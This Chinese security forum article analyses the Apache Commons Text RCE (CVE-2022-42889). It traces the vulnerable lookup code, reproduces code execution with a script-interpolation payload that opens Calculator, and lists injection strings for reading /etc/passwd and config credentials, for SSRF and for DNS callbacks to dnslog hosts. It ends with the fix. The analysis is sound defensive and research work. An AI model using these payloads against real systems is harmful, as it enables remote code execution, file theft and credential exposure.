问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
浅谈Apache Commons Text RCE(CVE-2022-42889)
渗透测试
Apache Commons Text是一款处理字符串和文本块的开源项目。其受影响版本存在远程代码执行漏洞,因为其默认使用的Lookup实例集包括可能导致任意代码执行或与远程服务器信息交换的插值器Interpolator,导致攻击者可利用该漏洞进行远程代码执行,甚至接管服务所在服务器。
0x01 漏洞描述 ========= Apache Commons Text是一款处理字符串和文本块的开源项目。其受影响版本存在远程代码执行漏洞,因为其默认使用的Lookup实例集包括可能导致任意代码执行或与远程服务器信息交换的插值器Interpolator,如 - script- 使用 JVM 脚本执行引擎 (javax.script) 执行表达式 - dns - 解析 dns 记录 - url - 从 url 加载值。 攻击者可利用该漏洞进行远程代码执行,甚至接管服务所在服务器。 1.1 影响版本 -------- 1.5.0<**[Apache Commons Text](https://mvnrepository.com/artifact/org.apache.commons/commons-text)**<1.10.0 1.2 利用条件 -------- 使用了StringSubstitutor.createInterpolator.replace()方式去解析用户输入的内容。 0x02 原理分析 ========= 以ScriptStringLookup为例: 漏洞入口处是`StringSubstitutor#replace`: ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-59bcd0426c56ae77c4a8c57e889b75b5b519622a.png) 然后调用StringSubstitutor#substitute ,然后调用 StringSubstitutor.Result#substitute 。这里做了一系列的处理,提取${}中间的内容,并赋值给varName,然后进行进一步的解析: ```Java String varValue = this.resolveVariable(varName, builder, startPos, pos); ``` 然后调用 StringSubstitutor#resolveVariable ,再调用 InterpolatorStringLookup#lookup,这里根据`:`提取前缀,然后获取对应的lookup: ```Java public String lookup(String var) { if (var == null) { return null; } else { int prefixPos = var.indexOf(58); if (prefixPos >= 0) { String prefix = toKey(var.substring(0, prefixPos)); String name = var.substring(prefixPos + 1); StringLookup lookup = (StringLookup)this.stringLookupMap.get(prefix); String value = null; if (lookup != null) { value = lookup.lookup(name); } if (value != null) { return value; } var = var.substring(prefixPos + 1); } return this.defaultStringLookup != null ? this.defaultStringLookup.lookup(var) : null; } } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-6178793eed727a0474e8fe7c1dac67a973747e96.png) 此时调用ScriptStringLookup 类的lookup方法进行解析,这里key(也就是前面的poc)会通过 : 拆分成两部分,前者引入 js 引擎,后者是作为被执行的代码,最终通过 ScriptEngine#eval 执行。也就达到了RCE的效果: ```Java public String lookup(String key) { if (key == null) { return null; } else { String[] keys = key.split(SPLIT_STR, 2); int keyLen = keys.length; if (keyLen != 2) { throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.", new Object[]{key}); } else { String engineName = keys[0]; String script = keys[1]; try { ScriptEngine scriptEngine = (new ScriptEngineManager()).getEngineByName(engineName); if (scriptEngine == null) { throw new IllegalArgumentException("No script engine named " + engineName); } else { return Objects.toString(scriptEngine.eval(script), (String)null); } } catch (Exception var7) { throw IllegalArgumentExceptions.format(var7, "Error in script engine [%s] evaluating script [%s].", new Object[]{engineName, script}); } } } } ``` 0x03 漏洞复现 ========= 以Script插值器为例: 首先引入风险组件: ```XML <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-text</artifactId> <version>1.9</version> </dependency> ``` 相关demo: ```Java public class Demo { public static void main(String[] args) { StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator(); stringSubstitutor.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}"); } } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-8dfa789acdf5f1c88f070364d78304d1ec53e863.png) 0x04 其他利用方式探索 ============= 在调用stringLookupMap#get 解析到对应的的key然后返回对应的lookup实例,主要有以下几种: ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-4a6139f1e854baf67ec2607bfb8a2294db12d8cd.png) 可以通过相应的Lookup达到SSRF、任意文件读取、RCE、获取敏感信息的效果。 4.1 FunctionStringLookup ------------------------ 通过该Lookup可以获取一些系统环境变量信息: - env(例如获取家目录): ```Java ${env:HOME} ``` - sys (例如获取Java version): ```Java ${sys:java.version} ``` 4.2 JavaPlatformStringLookup ---------------------------- 支持如下信息的读取: | | | |---|---| | ${java:locale} | "default locale: " + Locale.*getDefault*() + ", platform encoding: " + this.getSystemProperty("file.encoding"); | | ${java:os} | this.getSystemProperty("os.name") + " " + this.getSystemProperty("os.version") + this.getSystemProperty(" ", "sun.os.patch.level") + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model") | | ${java:vm} | this.getSystemProperty("java.vm.name") + " (build " + this.getSystemProperty("java.vm.version") + ", " + this.getSystemProperty("java.vm.info") + ")" | | ${java:hardware} | "processors: " + Runtime.*getRuntime*().availableProcessors() + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model") + this.getSystemProperty(", instruction sets: ", "sun.cpu.isalist") | | ${java:version} | this.getSystemProperty("java.version") | | ${java:runtime} | this.getSystemProperty("java.runtime.name") + " (build " + this.getSystemProperty("java.runtime.version") + ") from " + this.getSystemProperty("java.vendor"); | 以获取当前Java版本为例: ```Java StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator(); String value = stringSubstitutor.replace("${java:version}"); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-5720cbd066d573dedd7e8e521407ad61c6e2addf.png) 4.3 PropertiesStringLookup -------------------------- 可以通过该lookup读取一些properties配置文件的信息。 ```Java ${properties:DocumentPath::Key} ``` 通过`::`切割,获取到DocumentPath和key,documentPath 会去在本地去读取该文件 ```Java Properties properties = new Properties(); InputStream inputStream = Files.newInputStream(Paths.get(documentPath)); try { properties.load(inputStream); } catch (Throwable var18) { ...... } ``` 然后再读取key对应的内容并返回: ```Java return properties.getProperty(propertyKey); ``` 例如项目使用了druid console台,但是通过配置`spring.datasource.druid.stat-view-servlet.login-username`进行了权限控制,那么可以考虑通过该lookup来获取对应的敏感信息。 4.4 ResourceBundleStringLookup ------------------------------ 在springboot中有一个 application.properties 配置文件。里面存放着这个系统的各项配置,其中有可能就包含 redis、mysql 的配置项。很多其他类型的系统也会写一些类似 jdbc.properties 的文件来存放配置。**这些 properties 文件都可以通过 ResourceBundle 来获取到里面的配置项。** ```Java ${resourcebundle:BundleName:KeyName} ``` 通过`:`切割,获取到keyBundleName和bundleKey ,然后读取对应的内容: ```Java String[] keys = key.split(SPLIT_STR); int keyLen = keys.length; boolean anyBundle = this.bundleName == null; if (anyBundle && keyLen != 2) { throw IllegalArgumentExceptions.format("Bad resource bundle key format [%s]; expected format is BundleName:KeyName.", new Object[]{key}); } else if (this.bundleName != null && keyLen != 1) { throw IllegalArgumentExceptions.format("Bad resource bundle key format [%s]; expected format is KeyName.", new Object[]{key}); } else { String keyBundleName = anyBundle ? keys[0] : this.bundleName; String bundleKey = anyBundle ? keys[1] : keys[0]; try { return this.getString(keyBundleName, bundleKey); } ...... } ``` 同理,跟PropertiesStringLookup的例子一样,如果项目使用了druid console台,但是通过配置`spring.datasource.druid.stat-view-servlet.login-username`进行了权限控制,那么可以考虑通过该lookup来获取对应的敏感信息(可以无需知道properties的路径): ```Java StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator(); String value = stringSubstitutor.replace("${resourcebundle:application:spring.datasource.druid.stat-view-servlet.login-username}"); ``` 4.5 FileStringLookup -------------------- ```Java ${file:charsetName:fileName} ``` 通过 `:` 拆分 key ,分配赋值给charsetName和fileName,然后调用Files.readAllBytes()方法进行文件读取: ```Java if (key == null) { return null; } else { String[] keys = key.split(String.valueOf(':')); int keyLen = keys.length; if (keyLen < 2) { throw IllegalArgumentExceptions.format("Bad file key format [%s], expected format is CharsetName:DocumentPath.", new Object[]{key}); } else { String charsetName = keys[0]; String fileName = StringUtils.substringAfter(key, 58); try { return new String(Files.readAllBytes(Paths.get(fileName)), charsetName); } catch (Exception var7) { throw IllegalArgumentExceptions.format(var7, "Error looking up file [%s] with charset [%s].", new Object[]{fileName, charsetName}); } } } } ``` 具体效果: ```Java StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator(); String value = stringSubstitutor.replace("${file:utf-8:/etc/passwd}"); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-99700076168e6ce26ad392612127b8c0f3f2d8cc.png) 4.6 XmlStringLookup ------------------- 通过`:`切割,前面的部分赋值给documentPath,第二部分赋值给 xpath: ```Java String documentPath = keys[0]; String xpath = StringUtils.substringAfter(key, 58); ``` documentPath 会去在本地去读取该文件: ```Java InputStream inputStream = Files.newInputStream(Paths.get(documentPath)); ``` 最后会调用对应的方法进行解析,可以达到xxe的效果: ```Java XPathFactory.newInstance().newXPath().evaluate(xpath, new InputSource(inputStream)); ``` 4.7 UrlStringLookup ------------------- ```Java ${url:charsetName:urlStr} ``` 通过`:`切割,获取到charsetName和urlStr,然后通过java.net.URL对象对urlStr进行处理。也就是说可以通过File/http协议去操作。 - 任意文件读取 ```Java StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator(); String value = stringSubstitutor.replace("${url:utf-8:file:///etc/passwd}"); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-78df69f00ca7db4a627b85e0cfe64ce202e6fd72.png) - SSRF ```Java ${url:utf-8:http://x.x.x.x} ``` ```Java StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator(); String value = stringSubstitutor.replace("${url:utf-8:http://wzd0lw.dnslog.cn}"); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-48eea62748d9ebea51aa948f4721f3332ee634a3.png) 4.8 ScriptStringLookup ---------------------- 实际上就是js引擎的调用,前面复现过程已经提及过了: ```Java ScriptEngine scriptEngine = (new ScriptEngineManager()).getEngineByName("js"); ``` 4.9 DnsStringLookup ------------------- ```Java ${dns:address|x.x.x.x} ``` 主要通过`|`分割,然后调用InetAddress.getByName()方法,在给定主机名的情况下确定主机的IP地址,这里实际上会发起一个dns请求: ```Java public String lookup(String key) { if (key == null) { return null; } else { String[] keys = key.trim().split("\\|"); int keyLen = keys.length; String subKey = keys[0].trim(); String subValue = keyLen < 2 ? key : keys[1].trim(); try { InetAddress inetAddress = InetAddress.getByName(subValue); byte var8 = -1; switch(subKey.hashCode()) { case -1147692044: if (subKey.equals("address")) { var8 = 2; } break; case 3373707: if (subKey.equals("name")) { var8 = 0; } break; case 1339224004: if (subKey.equals("canonical-name")) { var8 = 1; } } switch(var8) { case 0: return inetAddress.getHostName(); case 1: return inetAddress.getCanonicalHostName(); case 2: return inetAddress.getHostAddress(); default: return inetAddress.getHostAddress(); } } catch (UnknownHostException var9) { return null; } } } ``` 具体效果: ```Java StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator(); String value = stringSubstitutor.replace("${dns:address|ed7ce3.dnslog.cn}"); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-5797582b24a6d38bc28cd79eb2eea3c8cbfb4e58.png) 0x05 其他 ======= UrlStringLookup、ScriptStringLookup、DnsStringLookup在最新版本默认情况下已不支持。实际上还是可以主动调用的。例如其中一种调用方式: ```Java StringLookupFactory.INSTANCE.scriptStringLookup().lookup("javascript:java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app')"); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-17fbaeb41741374f878f714ab5308d6fb2e32ce2.png) 在代码审计或者漏洞排查时需要额外关注。 0x06 修复方式 ========= 主要是在org.apache.commons.text.lookup.StringLookupFactory中的DefaultStringLookupsHolder#createDefaultStringLookups方法,在创建lookup的时候便将存在风险的lookup排除在外: ```Java private static Map<String, StringLookup> createDefaultStringLookups() { Map<String, StringLookup> lookupMap = new HashMap<>(); addLookup(DefaultStringLookup.BASE64_DECODER, lookupMap); addLookup(DefaultStringLookup.BASE64_ENCODER, lookupMap); addLookup(DefaultStringLookup.CONST, lookupMap); addLookup(DefaultStringLookup.DATE, lookupMap); addLookup(DefaultStringLookup.ENVIRONMENT, lookupMap); addLookup(DefaultStringLookup.FILE, lookupMap); addLookup(DefaultStringLookup.JAVA, lookupMap); addLookup(DefaultStringLookup.LOCAL_HOST, lookupMap); addLookup(DefaultStringLookup.PROPERTIES, lookupMap); addLookup(DefaultStringLookup.RESOURCE_BUNDLE, lookupMap); addLookup(DefaultStringLookup.SYSTEM_PROPERTIES, lookupMap); addLookup(DefaultStringLookup.URL_DECODER, lookupMap); addLookup(DefaultStringLookup.URL_ENCODER, lookupMap); addLookup(DefaultStringLookup.XML, lookupMap); return lookupMap; } ```
发表于 2022-10-26 09:30:01
阅读 ( 7598 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
tkswifty
64 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!